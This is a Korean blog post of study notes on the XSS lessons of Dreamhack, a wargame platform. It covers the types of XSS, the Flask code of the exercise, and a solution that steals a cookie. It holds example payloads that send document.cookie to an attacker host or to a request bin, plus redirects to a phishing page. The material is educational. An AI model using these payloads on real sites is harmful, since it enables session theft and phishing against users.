본문 바로가기
IT/DREAMHACK

Dreamhack XSS (Cross Site Scripting) 이론 공부

by 심슨아빠똥 2023. 7. 7.
728x90

1. XSS

  - 클라이언트 사이드 취약점 중 하나

  -  공격자가 웹 리소스를 악성 스크립트에 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행

  -  해당 취약점은 SOP 보안 정책이 등장하여 서로 다른 오리진에서 정보를 읽는 행위가 힘들어짐

 

1.1 XSS 발생 예시

  - 이용자가 삽입한 내용을 출력하는 기능에서 발생

  ex) 로그인 출력 시 "안녕하세요. 00회원님" 이라는 문구 또는 게시물과 댓글

 

 

1.2 XSS 종류

 

  1.2.1 Stored XSS

    - XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

 

  1.2.2 Reflected XSS

    -  XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

    - 이용자의 요청에 의해 발생

    -  공격을 위해서 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도

 

  1.2.3 DOM-based XSS

    - XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS

 

  1.2.4 Universal XSS

    - 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 

 

1.3 XSS 스크립트의 예시

 

  - 쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

 

  - 페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

 

- 위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

 

 

2. Exercise : XSS

- 실습 : 다른 이용자의 클라이언트에 저장된 쿠키를 탈취해보는 것

- 배경 지식 : 파이썬 Flask 프레임워크를 통해 구현, 시나리오는 셀레늄을 통해 구현

- 셀레늄이란?

  웹 애플리케이션 테스팅에 사용되는 파이썬 모듈로 API를 통해 웹 드라이버를 사용 가능

 

 

2.1 웹 서비스 분석

 

엔드포인트: /vuln

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

 

엔드포인트 : /memo

@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
    memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
    return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

 

엔드포인트 : /flag

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

 

 

2.2 취약점 분석

  - vuln과 memo엔드포인트는 이용자의 입력 값을 페이지에 출력해준다

  - memo는 render_template 함수를 사용하여 memo.html을 출력

  - render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환하여 저장하기 때문에 XSS가 발생하지 않는다

  - 하지만 vulm은 이용자가 입력한 값을 그대로 출력하기 때문에 XSS 발생

 

 

2.3 익스플로잇

  - /vuln 엔트포인터에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다

 

  2.3.1 공격에 사용할 수 있는 속성과 설명

 

    - location.href

    전체 URL을 반환하거나 URL을 업데이트 할 수 있는 속성값

 

    - document.cookie

    해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값

 

 

2.4 쿠키 탈취

 

  2.4.1 memo 페이지 사용

    - 임의 이용자의 쿠키 정보 확인

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

  2.4.2 웹 서버 사용

    - Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보 확인 가능

    - Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되어 접속한 기록 저장

<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
728x90

'IT > DREAMHACK' 카테고리의 다른 글

Dreamhack XSS 함께 실습  (0) 2023.07.07
[드림핵] 웹해킹 워게임 Carve Party 플래그 찾기  (1) 2023.05.19

댓글